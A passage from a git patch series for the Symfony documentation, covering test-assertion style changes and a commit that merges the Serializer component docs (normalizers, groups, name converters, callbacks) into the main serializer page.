clock, accepts all formats supported by DateTimeImmutable::modify() - static::assertTrue($expirationChecker->isExpired($validUntil)); + $this->assertTrue($expirationChecker->isExpired($validUntil)); $clock->modify('2022-11-16 15:00:00'); // $validUntil is in the future again, so it is no longer expired - static::assertFalse($expirationChecker->isExpired($validUntil)); + $this->assertFalse($expirationChecker->isExpired($validUntil)); } } diff --git a/http_client.rst b/http_client.rst index 988da776022..4a8829a52d5 100644 --- a/http_client.rst +++ b/http_client.rst @@ -2225,15 +2225,15 @@ test it in a real application:: $responseData = $service->createArticle($requestData); // Assert - self::assertSame('POST', $mockResponse->getRequestMethod()); - self::assertSame('https://example.com/api/article', $mockResponse->getRequestUrl()); - self::assertContains( + $this->assertSame('POST', $mockResponse->getRequestMethod()); + $this->assertSame('https://example.com/api/article', $mockResponse->getRequestUrl()); + $this->assertContains( 'Content-Type: application/json', $mockResponse->getRequestOptions()['headers'] ); - self::assertSame($expectedRequestData, $mockResponse->getRequestOptions()['body']); + $this->assertSame($expectedRequestData, $mockResponse->getRequestOptions()['body']); - self::assertSame($responseData, $expectedResponseData); + $this->assertSame($responseData, $expectedResponseData); } } @@ -2266,7 +2266,7 @@ test. Then, save that information as a ``.har`` file somewhere in your applicati $responseData = $service->createArticle($requestData); // Assert - self::assertSame($responseData, 'the expected response'); + $this->assertSame($responseData, 'the expected response'); } } From 8a1497b1f27242aa08b702f8f65150ec25f75190 Mon Sep 17 00:00:00 2001 From: Wouter de Jong <wouter@wouterj.nl> Date: Sat, 21 Jan 2023 16:42:58 +0100 Subject: [PATCH 515/615] Combine component and framework docs for Serializer --- _build/redirection_map | 4 +- .../serializer/serializer_workflow.svg | 0 .../serializer/serializer_workflow.dia | Bin components/property_access.rst | 2 + components/property_info.rst | 6 +- components/serializer.rst | 1948 -------------- reference/attributes.rst | 10 +- reference/configuration/framework.rst | 9 +- reference/twig_reference.rst | 2 + serializer.rst | 2262 ++++++++++++++--- serializer/custom_context_builders.rst | 8 +- serializer/custom_encoders.rst | 61 - serializer/custom_name_converter.rst | 105 + serializer/custom_normalizer.rst | 68 +- serializer/encoders.rst | 371 +++ 15 files changed, 2465 insertions(+), 2391 deletions(-) rename _images/{components => }/serializer/serializer_workflow.svg (100%) rename _images/sources/{components => }/serializer/serializer_workflow.dia (100%) delete mode 100644 components/serializer.rst delete mode 100644 serializer/custom_encoders.rst create mode 100644 serializer/custom_name_converter.rst create mode 100644 serializer/encoders.rst diff --git a/_build/redirection_map b/_build/redirection_map index 3ad55f95c73..4fb14724d26 100644 --- a/_build/redirection_map +++ b/_build/redirection_map @@ -525,7 +525,7 @@ /testing/functional_tests_assertions /testing#testing-application-assertions /components https://symfony.com/components /components/index https://symfony.com/components -/serializer/normalizers /components/serializer#normalizers +/serializer/normalizers /serializer#serializer-built-in-normalizers /logging/monolog_regex_based_excludes /logging/monolog_exclude_http_codes /security/named_encoders /security/named_hashers /components/inflector /components/string#inflector @@ -566,3 +566,5 @@ /messenger/dispatch_after_current_bus /messenger#messenger-transactional-messages /messenger/multiple_buses /messenger#messenger-multiple-buses /frontend/encore/server-data /frontend/server-data +/components/serializer /serializer +/serializer/custom_encoder /serializer/encoders#serializer-custom-encoder diff --git a/_images/components/serializer/serializer_workflow.svg b/_images/serializer/serializer_workflow.svg similarity index 100% rename from _images/components/serializer/serializer_workflow.svg rename to _images/serializer/serializer_workflow.svg diff --git a/_images/sources/components/serializer/serializer_workflow.dia b/_images/sources/serializer/serializer_workflow.dia similarity index 100% rename from _images/sources/components/serializer/serializer_workflow.dia rename to _images/sources/serializer/serializer_workflow.dia diff --git a/components/property_access.rst b/components/property_access.rst index ba487135d94..717012d6710 100644 --- a/components/property_access.rst +++ b/components/property_access.rst @@ -26,6 +26,8 @@ default configuration:: $propertyAccessor = PropertyAccess::createPropertyAccessor(); +.. _property-access-reading-arrays: + Reading from Arrays ------------------- diff --git a/components/property_info.rst b/components/property_info.rst index e9f5853cb51..6d57c1bb274 100644 --- a/components/property_info.rst +++ b/components/property_info.rst @@ -458,9 +458,9 @@ SerializerExtractor This extractor depends on the `symfony/serializer`_ library. -Using :ref:`groups metadata <serializer-using-serialization-groups-attributes>` -from the :doc:`Serializer component </components/serializer>`, -the :class:`Symfony\\Component\\PropertyInfo\\Extractor\\SerializerExtractor` +Using :ref:`groups metadata <serializer-groups-attribute>` from the +:doc:`Serializer component </serializer>`, the +:class:`Symfony\\Component\\PropertyInfo\\Extractor\\SerializerExtractor` provides list information. This extractor is *not* registered automatically with the ``property_info`` service in the Symfony Framework:: diff --git a/components/serializer.rst b/components/serializer.rst deleted file mode 100644 index c10e4c7e45f..00000000000 --- a/components/serializer.rst +++ /dev/null @@ -1,1948 +0,0 @@ -The Serializer Component -======================== - - The Serializer component is meant to be used to turn objects into a - specific format (XML, JSON, YAML, ...) and the other way around. - -In order to do so, the Serializer component follows the following schema. - -.. raw:: html - - <object data="../_images/components/serializer/serializer_workflow.svg" type="image/svg+xml" - alt="A flow diagram showing how objects are serialized/deserialized. This is described in the subsequent paragraph." - ></object> - -When (de)serializing objects, the Serializer uses an array as the intermediary -between objects and serialized contents. Encoders will only deal with -turning specific **formats** into **arrays** and vice versa. The same way, -normalizers will deal with turning specific **objects** into **arrays** and -vice versa. The Serializer deals with calling the normalizers and encoders -when serializing objects or deserializing formats. - -Serialization is a complex topic. This component may not cover all your use -cases out of the box, but it can be useful for developing tools to -serialize and deserialize your objects. - -Installation ------------- - -.. code-block:: terminal - - $ composer require symfony/serializer - -.. include:: /components/require_autoload.rst.inc - -To use the ``ObjectNormalizer``, the :doc:`PropertyAccess component </components/property_access>` -must also be installed. - -Usage ------ - -.. seealso:: - - This article explains the philosophy of the Serializer and gets you familiar - with the concepts of normalizers and encoders. The code examples assume - that you use the Serializer as an independent component. If you are using - the Serializer in a Symfony application, read :doc:`/serializer` after you - finish this article. - -To use the Serializer component, set up the -:class:`Symfony\\Component\\Serializer\\Serializer` specifying which encoders -and normalizer are going to be available:: - - use Symfony\Component\Serializer\Encoder\JsonEncoder; - use Symfony\Component\Serializer\Encoder\XmlEncoder; - use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; - use Symfony\Component\Serializer\Serializer; - - $encoders = [new XmlEncoder(), new JsonEncoder()]; - $normalizers = [new ObjectNormalizer()]; - - $serializer = new Serializer($normalizers, $encoders); - -The preferred normalizer is the -:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`, -but other normalizers are available. All the examples shown below use -the ``ObjectNormalizer``. - -Serializing an Object ---------------------- - -For the sake of this example, assume the following class already -exists in your project:: - - namespace App\Model; - - class Person - { - private int $age; - private string $name; - private bool $sportsperson; - private ?\DateTimeInterface $createdAt; - - // Getters - public function getAge(): int - { - return $this->age; - } - - public function getName(): string - { - return $this->name; - } - - public function getCreatedAt(): ?\DateTimeInterface - { - return $this->createdAt; - } - - // Issers - public function isSportsperson(): bool - { - return $this->sportsperson; - } - - // Setters - public function setAge(int $age): void - { - $this->age = $age; - } - - public function setName(string $name): void - { - $this->name = $name; - } - - public function setSportsperson(bool $sportsperson): void - { - $this->sportsperson = $sportsperson; - } - - public function setCreatedAt(?\DateTimeInterface $createdAt = null): void - { - $this->createdAt = $createdAt; - } - } - -Now, if you want to serialize this object into JSON, you only need to -use the Serializer service created before:: - - use App\Model\Person; - - $person = new Person(); - $person->setName('foo'); - $person->setAge(99); - $person->setSportsperson(false); - - $jsonContent = $serializer->serialize($person, 'json'); - - // $jsonContent contains {"name":"foo","age":99,"sportsperson":false,"createdAt":null} - - echo $jsonContent; // or return it in a Response - -The first parameter of the :method:`Symfony\\Component\\Serializer\\Serializer::serialize` -is the object to be serialized and the second is used to choose the proper encoder, -in this case :class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`. - -Deserializing an Object ------------------------ - -You'll now learn how to do the exact opposite. This time, the information -of the ``Person`` class would be encoded in XML format:: - - use App\Model\Person; - - $data = <<<EOF - <person> - <name>foo</name> - <age>99</age> - <sportsperson>false</sportsperson> - </person> - EOF; - - $person = $serializer->deserialize($data, Person::class, 'xml'); - -In this case, :method:`Symfony\\Component\\Serializer\\Serializer::deserialize` -needs three parameters: - -#. The information to be decoded -#. The name of the class this information will be decoded to -#. The encoder used to convert that information into an array - -By default, additional attributes that are not mapped to the denormalized object -will be ignored by the Serializer component. If you prefer to throw an exception -when this happens, set the ``AbstractNormalizer::ALLOW_EXTRA_ATTRIBUTES`` context option to -``false`` and provide an object that implements ``ClassMetadataFactoryInterface`` -when constructing the normalizer:: - - use App\Model\Person; - - $data = <<<EOF - <person> - <name>foo</name> - <age>99</age> - <city>Paris</city> - </person> - EOF; - - // $loader is any of the valid loaders explained later in this article - $classMetadataFactory = new ClassMetadataFactory($loader); - $normalizer = new ObjectNormalizer($classMetadataFactory); - $serializer = new Serializer([$normalizer]); - - // this will throw a Symfony\Component\Serializer\Exception\ExtraAttributesException - // because "city" is not an attribute of the Person class - $person = $serializer->deserialize($data, Person::class, 'xml', [ - AbstractNormalizer::ALLOW_EXTRA_ATTRIBUTES => false, - ]); - -Deserializing in an Existing Object -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -The serializer can also be used to update an existing object:: - - // ... - $person = new Person(); - $person->setName('bar'); - $person->setAge(99); - $person->setSportsperson(true); - - $data = <<<EOF - <person> - <name>foo</name> - <age>69</age> - </person> - EOF; - - $serializer->deserialize($data, Person::class, 'xml', [AbstractNormalizer::OBJECT_TO_POPULATE => $person]); - // $person = App\Model\Person(name: 'foo', age: '69', sportsperson: true) - -This is a common need when working with an ORM. - -The ``AbstractNormalizer::OBJECT_TO_POPULATE`` is only used for the top level object. If that object -is the root of a tree structure, all child elements that exist in the -normalized data will be re-created with new instances. - -When the ``AbstractObjectNormalizer::DEEP_OBJECT_TO_POPULATE`` option is set to -true, existing children of the root ``OBJECT_TO_POPULATE`` are updated from the -normalized data, instead of the denormalizer re-creating them. Note that -``DEEP_OBJECT_TO_POPULATE`` only works for single child objects, but not for -arrays of objects. Those will still be replaced when present in the normalized -data. - -Context -------- - -Many Serializer features can be configured :ref:`using a context <serializer_serializer-context>`. - -.. _component-serializer-attributes-groups: - -Attributes Groups ------------------ - -Sometimes, you want to serialize different sets of attributes from your -entities. Groups are a handy way to achieve this need. - -Assume you have the following plain-old-PHP object:: - - namespace Acme; - - class MyObj - { - public string $foo; - - private string $bar; - - public function getBar(): string - { - return $this->bar; - } - - public function setBar($bar): string - { - return $this->bar = $bar; - } - } - -The definition of serialization can be specified using annotations, attributes, XML -or YAML. The :class:`Symfony\\Component\\Serializer\\Mapping\\Factory\\ClassMetadataFactory` -that will be used by the normalizer must be aware of the format to use. - -The following code shows how to initialize the :class:`Symfony\\Component\\Serializer\\Mapping\\Factory\\ClassMetadataFactory` -for each format: - -* Annotations in PHP files:: - - use Doctrine\Common\Annotations\AnnotationReader; - use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory; - use Symfony\Component\Serializer\Mapping\Loader\AnnotationLoader; - - $classMetadataFactory = new ClassMetadataFactory(new AnnotationLoader(new AnnotationReader())); - -* Attributes in PHP files:: - - use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory; - use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader; - - $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader()); - -* YAML files:: - - use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory; - use Symfony\Component\Serializer\Mapping\Loader\YamlFileLoader; - - $classMetadataFactory = new ClassMetadataFactory(new YamlFileLoader('/path/to/your/definition.yaml')); - -* XML files:: - - use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory; - use Symfony\Component\Serializer\Mapping\Loader\XmlFileLoader; - - $classMetadataFactory = new ClassMetadataFactory(new XmlFileLoader('/path/to/your/definition.xml')); - -.. versionadded:: 6.4 - - The - :class:`Symfony\\Component\\Serializer\\Mapping\\Loader\\AttributeLoader` - was introduced in Symfony 6.4. Prior to this, the - :class:`Symfony\\Component\\Serializer\\Mapping\\Loader\\AnnotationLoader` - must be used. - -.. deprecated:: 6.4 - - Reading annotations in PHP files is deprecated since Symfony 6.4. - Also, the - :class:`Symfony\\Component\\Serializer\\Mapping\\Loader\\AnnotationLoader` - was deprecated in Symfony 6.4. - -.. _component-serializer-attributes-groups-annotations: -.. _component-serializer-attributes-groups-attributes: - -Then, create your groups definition: - -.. configuration-block:: - - .. code-block:: php-attributes - - namespace Acme; - - use Symfony\Component\Serializer\Annotation\Groups; - - class MyObj - { - #[Groups(['group1', 'group2'])] - public string $foo; - - #[Groups(['group4'])] - public string $anotherProperty; - - #[Groups(['group3'])] - public function getBar() // is* methods are also supported - { - return $this->bar; - } - - // ... - } - - .. code-block:: yaml - - Acme\MyObj: - attributes: - foo: - groups: ['group1', 'group2'] - anotherProperty: - groups: ['group4'] - bar: - groups: ['group3'] - - .. code-block:: xml - - <?xml version="1.0" encoding="UTF-8" ?> - <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping - https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd" - > - <class name="Acme\MyObj"> - <attribute name="foo"> - <group>group1</group> - <group>group2</group> - </attribute> - - <attribute name="anotherProperty"> - <group>group4</group> - </attribute> - - <attribute name="bar"> - <group>group3</group> - </attribute> - </class> - </serializer> - -You are now able to serialize only attributes in the groups you want:: - - use Acme\MyObj; - use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; - use Symfony\Component\Serializer\Serializer; - - $obj = new MyObj(); - $obj->foo = 'foo'; - $obj->anotherProperty = 'anotherProperty'; - $obj->setBar('bar'); - - $normalizer = new ObjectNormalizer($classMetadataFactory); - $serializer = new Serializer([$normalizer]); - - $data = $serializer->normalize($obj, null, ['groups' => 'group1']); - // $data = ['foo' => 'foo']; - - $obj2 = $serializer->denormalize( - ['foo' => 'foo', 'anotherProperty' => 'anotherProperty', 'bar' => 'bar'], - MyObj::class, - null, - ['groups' => ['group1', 'group3']] - ); - // $obj2 = MyObj(foo: 'foo', bar: 'bar') - - // To get all groups, use the special value `*` in `groups` - $obj3 = $serializer->denormalize( - ['foo' => 'foo', 'anotherProperty' => 'anotherProperty', 'bar' => 'bar'], - MyObj::class, - null, - ['groups' => ['*']] - ); - // $obj2 = MyObj(foo: 'foo', anotherProperty: 'anotherProperty', bar: 'bar') - -.. _ignoring-attributes-when-serializing: - -Selecting Specific Attributes ------------------------------ - -It is also possible to serialize only a set of specific attributes:: - - use Symfony\Component\Serializer\Normalizer\AbstractNormalizer; - use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; - use Symfony\Component\Serializer\Serializer; - - class User - { - public string $familyName; - public string $givenName; - public Company $company; - } - - class Company - { - public string $name; - public string $address; - } - - $company = new Company(); - $company->name = 'Les-Tilleuls.coop'; - $company->address = 'Lille, France'; - - $user = new User(); - $user->familyName = 'Dunglas'; - $user->givenName = 'Kévin'; - $user->company = $company; - - $serializer = new Serializer([new ObjectNormalizer()]); - - $data = $serializer->normalize($user, null, [AbstractNormalizer::ATTRIBUTES => ['familyName', 'company' => ['name']]]); - // $data = ['familyName' => 'Dunglas', 'company' => ['name' => 'Les-Tilleuls.coop']]; - -Only attributes that are not ignored (see below) are available. -If some serialization groups are set, only attributes allowed by those groups can be used. - -As for groups, attributes can be selected during both the serialization and deserialization processes. - -.. _serializer_ignoring-attributes: - -Ignoring Attributes -------------------- - -All accessible attributes are included by default when serializing objects. -There are two options to ignore some of those attributes. - -Option 1: Using ``#[Ignore]`` Attribute -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -.. configuration-block:: - - .. code-block:: php-attributes - - namespace App\Model; - - use Symfony\Component\Serializer\Annotation\Ignore; - - class MyClass - { - public string $foo; - - #[Ignore] - public string $bar; - } - - .. code-block:: yaml - - App\Model\MyClass: - attributes: - bar: - ignore: true - - .. code-block:: xml - - <?xml version="1.0" ?> - <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping - https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd" - > - <class name="App\Model\MyClass"> - <attribute name="bar" ignore="true"/> - </class> - </serializer> - -You can now ignore specific attributes during serialization:: - - use App\Model\MyClass; - use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; - use Symfony\Component\Serializer\Serializer; - - $obj = new MyClass(); - $obj->foo = 'foo'; - $obj->bar = 'bar'; - - $normalizer = new ObjectNormalizer($classMetadataFactory); - $serializer = new Serializer([$normalizer]); - - $data = $serializer->normalize($obj); - // $data = ['foo' => 'foo']; - -Option 2: Using the Context -~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -Pass an array with the names of the attributes to ignore using the -``AbstractNormalizer::IGNORED_ATTRIBUTES`` key in the ``context`` of the -serializer method:: - - use Acme\Person; - use Symfony\Component\Serializer\Encoder\JsonEncoder; - use Symfony\Component\Serializer\Normalizer\AbstractNormalizer; - use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; - use Symfony\Component\Serializer\Serializer; - - $person = new Person(); - $person->setName('foo'); - $person->setAge(99); - - $normalizer = new ObjectNormalizer(); - $encoder = new JsonEncoder(); - - $serializer = new Serializer([$normalizer], [$encoder]); - $serializer->serialize($person, 'json', [AbstractNormalizer::IGNORED_ATTRIBUTES => ['age']]); // Output: {"name":"foo"} - -.. _component-serializer-converting-property-names-when-serializing-and-deserializing: - -Converting Property Names when Serializing and Deserializing ------------------------------------------------------------- - -Sometimes serialized attributes must be named differently than properties -or getter/setter methods of PHP classes. - -The Serializer component provides a handy way to translate or map PHP field -names to serialized names: The Name Converter System. - -Given you have the following object:: - - class Company - { - public string $name; - public string $address; - } - -And in the serialized form, all attributes must be prefixed by ``org_`` like -the following:: - - {"org_name": "Acme Inc.", "org_address": "123 Main Street, Big City"} - -A custom name converter can handle such cases:: - - use Symfony\Component\Serializer\NameConverter\NameConverterInterface; - - class OrgPrefixNameConverter implements NameConverterInterface - { - public function normalize(string $propertyName): string - { - return 'org_'.$propertyName; - } - - public function denormalize(string $propertyName): string - { - // removes 'org_' prefix - return str_starts_with($propertyName, 'org_') ? substr($propertyName, 4) : $propertyName; - } - } - -The custom name converter can be used by passing it as second parameter of any -class extending :class:`Symfony\\Component\\Serializer\\Normalizer\\AbstractNormalizer`, -including :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer` -and :class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer`:: - - use Symfony\Component\Serializer\Encoder\JsonEncoder; - use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; - use Symfony\Component\Serializer\Serializer; - - $nameConverter = new OrgPrefixNameConverter(); - $normalizer = new ObjectNormalizer(null, $nameConverter); - - $serializer = new Serializer([$normalizer], [new JsonEncoder()]); - - $company = new Company(); - $company->name = 'Acme Inc.'; - $company->address = '123 Main Street, Big City'; - - $json = $serializer->serialize($company, 'json'); - // {"org_name": "Acme Inc.", "org_address": "123 Main Street, Big City"} - $companyCopy = $serializer->deserialize($json, Company::class, 'json'); - // Same data as $company - -.. note:: - - You can also implement - :class:`Symfony\\Component\\Serializer\\NameConverter\\AdvancedNameConverterInterface` - to access the current class name, format and context. - -.. _using-camelized-method-names-for-underscored-attributes: - -CamelCase to snake_case -~~~~~~~~~~~~~~~~~~~~~~~ - -In many formats, it's common to use underscores to separate words (also known -as snake_case). However, in Symfony applications is common to use CamelCase to -name properties (even though the `PSR-1 standard`_ doesn't recommend any -specific case for property names). - -Symfony provides a built-in name converter designed to transform between -snake_case and CamelCased styles during serialization and deserialization -processes:: - - use Symfony\Component\Serializer\NameConverter\CamelCaseToSnakeCaseNameConverter; - use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; - - $normalizer = new ObjectNormalizer(null, new CamelCaseToSnakeCaseNameConverter()); - - class Person - { - public function __construct( - private string $firstName, - ) { - } - - public function getFirstName(): string - { - return $this->firstName; - } - } - - $kevin = new Person('Kévin'); - $normalizer->normalize($kevin); - // ['first_name' => 'Kévin']; - - $anne = $normalizer->denormalize(['first_name' => 'Anne'], 'Person'); - // Person object with firstName: 'Anne' - -.. _serializer_name-conversion: - -Configure name conversion using metadata -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -When using this component inside a Symfony application and the class metadata -factory is enabled as explained in the :ref:`Attributes Groups section <component-serializer-attributes-groups>`, -this is already set up and you only need to provide the configuration. Otherwise:: - - // ... - use Symfony\Component\Serializer\Encoder\JsonEncoder; - use Symfony\Component\Serializer\NameConverter\MetadataAwareNameConverter; - use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; - use Symfony\Component\Serializer\Serializer; - - $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader()); - - $metadataAwareNameConverter = new MetadataAwareNameConverter($classMetadataFactory); - - $serializer = new Serializer( - [new ObjectNormalizer($classMetadataFactory, $metadataAwareNameConverter)], - ['json' => new JsonEncoder()] - ); - -Now configure your name conversion mapping. Consider an application that -defines a ``Person`` entity with a ``firstName`` property: - -.. configuration-block:: - - .. code-block:: php-attributes - - namespace App\Entity; - - use Symfony\Component\Serializer\Annotation\SerializedName; - - class Person - { - public function __construct( - #[SerializedName('customer_name')] - private string $firstName, - ) { - } - - // ... - } - - .. code-block:: yaml - - App\Entity\Person: - attributes: - firstName: - serialized_name: customer_name - - .. code-block:: xml - - <?xml version="1.0" encoding="UTF-8" ?> - <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping - https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd" - > - <class name="App\Entity\Person"> - <attribute name="firstName" serialized-name="customer_name"/> - </class> - </serializer> - -This custom mapping is used to convert property names when serializing and -deserializing objects:: - - $serialized = $serializer->serialize(new Person('Kévin'), 'json'); - // {"customer_name": "Kévin"} - -Serializing Boolean Attributes ------------------------------- - -If you are using isser methods (methods prefixed by ``is``, like -``App\Model\Person::isSportsperson()``), the Serializer component will -automatically detect and use it to serialize related attributes. - -The ``ObjectNormalizer`` also takes care of methods starting with ``has``, ``get``, -and ``can``. - -.. versionadded:: 6.1 - - The support of canners (methods prefixed by ``can``) was introduced in Symfony 6.1. - -Using Callbacks to Serialize Properties with Object Instances -------------------------------------------------------------- - -When serializing, you can set a callback to format a specific object property:: - - use App\Model\Person; - use Symfony\Component\Serializer\Encoder\JsonEncoder; - use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer; - use Symfony\Component\Serializer\Serializer; - - $encoder = new JsonEncoder(); - - // all callback parameters are optional (you can omit the ones you don't use) - $dateCallback = function (object $attributeValue, object $object, string $attributeName, ?string $format = null, array $context = []): string { - return $attributeValue instanceof \DateTime ? $attributeValue->format(\DateTime::ATOM) : ''; - }; - - $defaultContext = [ - AbstractNormalizer::CALLBACKS => [ - 'createdAt' => $dateCallback, - ], - ]; - - $normalizer = new GetSetMethodNormalizer(null, null, null, null, null, $defaultContext); - - $serializer = new Serializer([$normalizer], [$encoder]); - - $person = new Person(); - $person->setName('cordoval'); - $person->setAge(34); - $person->setCreatedAt(new \DateTime('now')); - - $serializer->serialize($person, 'json'); - // Output: {"name":"cordoval", "age": 34, "createdAt": "2014-03-22T09:43:12-0500"} - -.. _component-serializer-normalizers: - -Normalizers ------------ - -Normalizers turn **objects** into **arrays** and vice versa. They implement -:class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface` for -normalizing (object to array) and -:class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface` for -denormalizing (array to object). - -Normalizers are enabled in the serializer passing them as its first argument:: - - use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; - use Symfony\Component\Serializer\Serializer; - - $normalizers = [new ObjectNormalizer()]; - $serializer = new Serializer($normalizers, []); - -Built-in Normalizers -~~~~~~~~~~~~~~~~~~~~ - -The Serializer component provides several built-in normalizers: - -:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer` - This normalizer leverages the :doc:`PropertyAccess Component </components/property_access>` - to read and write in the object. It means that it can access to properties - directly and through getters, setters, hassers, issers, canners, adders and removers. - It supports calling the constructor during the denormalization process. - - Objects are normalized to a map of property names and values (names are - generated by removing the ``get``, ``set``, ``has``, ``is``, ``can``, ``add`` or ``remove`` - prefix from the method name and transforming the first letter to lowercase; e.g. - ``getFirstName()`` -> ``firstName``). - - The ``ObjectNormalizer`` is the most powerful normalizer. It is configured by - default in Symfony applications with the Serializer component enabled. - -:class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer` - This normalizer reads the content of the class by calling the "getters" - (public methods starting with "get"). It will denormalize data by calling - the constructor and the "setters" (public methods starting with "set"). - - Objects are normalized to a map of property names and values (names are - generated by removing the ``get`` prefix from the method name and transforming - the first letter to lowercase; e.g. ``getFirstName()`` -> ``firstName``). - -:class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer` - This normalizer directly reads and writes public properties as well as - **private and protected** properties (from both the class and all of its - parent classes) by using `PHP reflection`_. It supports calling the constructor - during the denormalization process. - - Objects are normalized to a map of property names to property values. - - If you prefer to only normalize certain properties (e.g. only public properties) - set the ``PropertyNormalizer::NORMALIZE_VISIBILITY`` context option and - combine the following values: ``PropertyNormalizer::NORMALIZE_PUBLIC``, - ``PropertyNormalizer::NORMALIZE_PROTECTED`` or ``PropertyNormalizer::NORMALIZE_PRIVATE``. - - .. versionadded:: 6.2 - - The ``PropertyNormalizer::NORMALIZE_VISIBILITY`` context option and its - values were introduced in Symfony 6.2. - -:class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer` - This normalizer works with classes that implement :phpclass:`JsonSerializable`. - - It will call the :phpmethod:`JsonSerializable::jsonSerialize` method and - then further normalize the result. This means that nested - :phpclass:`JsonSerializable` classes will also be normalized. - - This normalizer is particularly helpful when you want to gradually migrate - from an existing codebase using simple :phpfunction:`json_encode` to the Symfony - Serializer by allowing you to mix which normalizers are used for which classes. - - Unlike with :phpfunction:`json_encode` circular references can be handled. - -:class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` - This normalizer converts :phpclass:`DateTimeInterface` objects (e.g. - :phpclass:`DateTime` and :phpclass:`DateTimeImmutable`) into strings. - By default, it uses the `RFC3339`_ format. - -:class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer` - This normalizer converts :phpclass:`DateTimeZone` objects into strings that - represent the name of the timezone according to the `list of PHP timezones`_. - -:class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer` - This normalizer converts :phpclass:`SplFileInfo` objects into a `data URI`_ - string (``data:...``) such that files can be embedded into serialized data. - -:class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer` - This normalizer converts :phpclass:`DateInterval` objects into strings. - By default, it uses the ``P%yY%mM%dDT%hH%iM%sS`` format. - -:class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer` - This normalizer converts a \BackedEnum objects into strings or integers. - - By default, an exception is thrown when data is not a valid backed enumeration. If you - want ``null`` instead, you can set the ``BackedEnumNormalizer::ALLOW_INVALID_VALUES`` option. - - .. versionadded:: 6.3 - - The ``BackedEnumNormalizer::ALLOW_INVALID_VALUES`` context option was introduced in Symfony 6.3. - -:class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer` - This normalizer works with classes that implement - :class:`Symfony\\Component\\Form\\FormInterface`. - - It will get errors from the form and normalize them into a normalized array. - -:class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer` - This normalizer converts objects that implement - :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface` - into a list of errors according to the `RFC 7807`_ standard. - -:class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer` - Normalizes errors according to the API Problem spec `RFC 7807`_. - -:class:`Symfony\\Component\\Serializer\\Normalizer\\CustomNormalizer` - Normalizes a PHP object using an object that implements :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`. - -:class:`Symfony\\Component\\Serializer\\Normalizer\\UidNormalizer` - This normalizer converts objects that extend - :class:`Symfony\\Component\\Uid\\AbstractUid` into strings. - The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Uuid` - is the `RFC 4122`_ format (example: ``d9e7a184-5d5b-11ea-a62a-3499710062d0``). - The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Ulid` - is the Base 32 format (example: ``01E439TP9XJZ9RPFH3T1PYBCR8``). - You can change the string format by setting the serializer context option - ``UidNormalizer::NORMALIZATION_FORMAT_KEY`` to ``UidNormalizer::NORMALIZATION_FORMAT_BASE_58``, - ``UidNormalizer::NORMALIZATION_FORMAT_BASE_32`` or ``UidNormalizer::NORMALIZATION_FORMAT_RFC_4122``. - - Also it can denormalize ``uuid`` or ``ulid`` strings to :class:`Symfony\\Component\\Uid\\Uuid` - or :class:`Symfony\\Component\\Uid\\Ulid`. The format does not matter. - -:class:`Symfony\\Component\\Serializer\\Normalizer\\TranslatableNormalizer` - This normalizer converts objects that implement - :class:`Symfony\\Contracts\\Translation\\TranslatableInterface` into - translated strings, using the - :method:`Symfony\\Contracts\\Translation\\TranslatableInterface::trans` - method. You can define the locale to use to translate the object by - setting the ``TranslatableNormalizer::NORMALIZATION_LOCALE_KEY`` serializer - context option. - - .. versionadded:: 6.4 - - The 